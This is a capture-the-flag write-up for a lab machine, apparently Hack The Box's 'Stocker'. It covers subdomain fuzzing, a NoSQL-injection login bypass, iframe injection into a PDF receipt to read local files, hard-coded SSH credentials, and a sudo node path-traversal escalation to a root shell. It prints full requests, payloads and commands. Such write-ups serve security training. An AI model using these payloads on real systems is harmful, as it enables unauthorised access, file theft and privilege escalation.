The Stocker machine required us enumerating subdomains to locate the ‘dev’ subdomain. Through a NoSQL injection (NOSQLi) vulnerability, we bypassed the login screen. This granted us access to a store where we exploited an XSS vulnerability to execute arbitrary file reads. By retrieving the source code, we discovered hard-coded credentials, enabling SSH access. Further exploration revealed the ability to run ’node’ as ‘sudo’ without a password, allowing us to spawn a root shell and obtain root privileges.
Recon
The HTTP service has as its domain stocker.htb
, by changing the /etc/hosts
file, we will be able to reach it.
nmap (TCP all ports)
nmap
finds two open TCP ports, SSH (22) and a HTTP server (80):
$ nmap -p- stocker.htb
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-30 09:23 WET
Nmap scan report for stocker.htb (10.129.222.225)
Host is up (0.053s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 25.77 seconds
$
nmap (found TCP ports exploration)
$ nmap -sC -sV stocker.htb -p 22,80
Starting Nmap 7.80 ( https://nmap.org ) at 2023-01-30 09:24 WET
Nmap scan report for stocker.htb (10.129.222.225)
Host is up (0.046s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-generator: Eleventy v2.0.0
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Stock - Coming Soon!
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds
$
HTTP - TCP 80
Technologies used:
By checking the webpage presented to us with Wappalyzer, we can get to know what technologies are being used:
Landing page
The following landing page is presented to us after arriving at the root directory for the stocker.htb
domain.
Subdomain Enumeration
After enumerating the subdomains with the ffuf
tool, we are able to discover a new service running within the HTTP service:
$ ffuf -H "Host: FUZZ.stocker.htb" -w /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -u http://stocker.htb -fs 178
/'___\ /'___\ /'___\
/\ \__/ /\ \__/ __ __ /\ \__/
\ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
\ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
\ \_\ \ \_\ \ \____/ \ \_\
\/_/ \/_/ \/___/ \/_/
v1.5.0
________________________________________________
:: Method : GET
:: URL : http://stocker.htb
:: Wordlist : FUZZ: /usr/share/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt
:: Header : Host: FUZZ.stocker.htb
:: Follow redirects : false
:: Calibration : false
:: Timeout : 10
:: Threads : 40
:: Matcher : Response status: 200,204,301,302,307,401,403,405,500
:: Filter : Response size: 178
________________________________________________
dev [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 54ms]
:: Progress: [100000/100000] :: Job [1/1] :: 759 req/sec :: Duration: [0:02:09] :: Errors: 0 ::
$
Shell as angoose
Login bypass
In the dev
subdomain we are presented with a login page, the login page is vulnerable to NOSQLi, enabling us to bypass the login.
NoSQL Injection
The following request enables us to bypass the login as the user admin
.
POST /login HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/json
Content-Length: 55
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Referer: http://dev.stocker.htb/login
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc
Upgrade-Insecure-Requests: 1
{"username":{"$ne":"admin"}, "password":{"$ne":"pass"}}
Stock page
After login we are presented with a small store page. In this page we can see the stock of some of the items available.
Submit Purchase
After submitting a purchase we are presented with a basket JSON array as follows:
This array is later used to build a receipt for the purchase.
Tamper title
By tampering with the basket
array we are able to get the /etc/passwd
file. The request will take advantage of a XSS vulnerability present within the receipt to show us the content of a local file, in this case the file will be shown in an iframe.
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Content-Length: 163
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8f",
"title": "<iframe width=900 height=900 src=file:///etc/passwd></iframe>",
"description": "It's a rubbish bin.",
"image": "bin.jpg",
"price": 76,
"currentStock": 15,
"__v": 0,
"amount": 1
}
]
}
Get /etc/passwd
After requesting the receipt we are able to see the iframe with the file contents:
Get MongoDB credentials
Now that we are able to get arbitrary files read we can try to get the web application source code, this will enable us to check if any hard coded credentials are used.
Title payload
The following request will request the source code present within the server, in this case the file is /var/www/dev/index.js
.
POST /api/order HTTP/1.1
Host: dev.stocker.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:103.0) Gecko/20100101 Firefox/103.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://dev.stocker.htb/stock
Content-Type: application/json
Content-Length: 163
Origin: http://dev.stocker.htb
DNT: 1
Connection: close
Cookie: connect.sid=s%3At1RoN8l3J5TXBVpzlWLQ2rfY1mm9W0aR.RZZ%2FpBomOou3FDIfm4298PzwApTWOYsLZXnIIj5jVgc
{
"basket": [
{
"_id": "638f116eeb060210cbd83a8f",
"title": "<iframe width=900 height=900 src=file:///var/www/dev/index.js></iframe>",
"description": "It's a rubbish bin.",
"image": "bin.jpg",
"price": 76,
"currentStock": 15,
"__v": 0,
"amount": 1
}
]
}
Response
If we check the receipt once again, we are present with source code where some hard coded credentials are found.
Credentials found
angoose:IHeardPassphrasesArePrettySecure
SSH
SSH login with found credentials
By using the found credentials found for the user angoose we can successfully login through SSH
:
$ ssh angoose@stocker.htb
angoose@stocker.htb's password:
The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.
Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.
angoose@stocker:~$
Shell as root
Enumeration
Sudo commands
By enumerating the commands that the user angoose is able to execute within the machine with root priveleges we are able to find the following:
angoose@stocker:~$ sudo -l
[sudo] password for angoose:
Matching Defaults entries for angoose on stocker:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User angoose may run the following commands on stocker:
(ALL) /usr/bin/node /usr/local/scripts/*.js
angoose@stocker:~$
Exploiting sudo command
The /usr/bin/node
command that we are able to used is an “asynchronous event-driven JavaScript runtime”, this means that we are able to run JavaScript with root permitions.
Payload
To take advantage of the privilege misconfiguration we can just create a .js
file that invokes /usr/bin/bash
enabling us to get a root shell.
angoose@stocker:~$ vim shell.js
angoose@stocker:~$ cat shell.js
const fs = require("child_process").spawn("/usr/bin/bash", {stdio: [0, 1, 2]})
angoose@stocker:~$
Obtain root
Finally by executing the script with sudo we can obtain root privileges:
angoose@stocker:~$ sudo /usr/bin/node /usr/local/scripts/../../../../home/angoose/shell.js
root@stocker:/home/angoose# id
uid=0(root) gid=0(root) groups=0(root)
root@stocker:/home/angoose#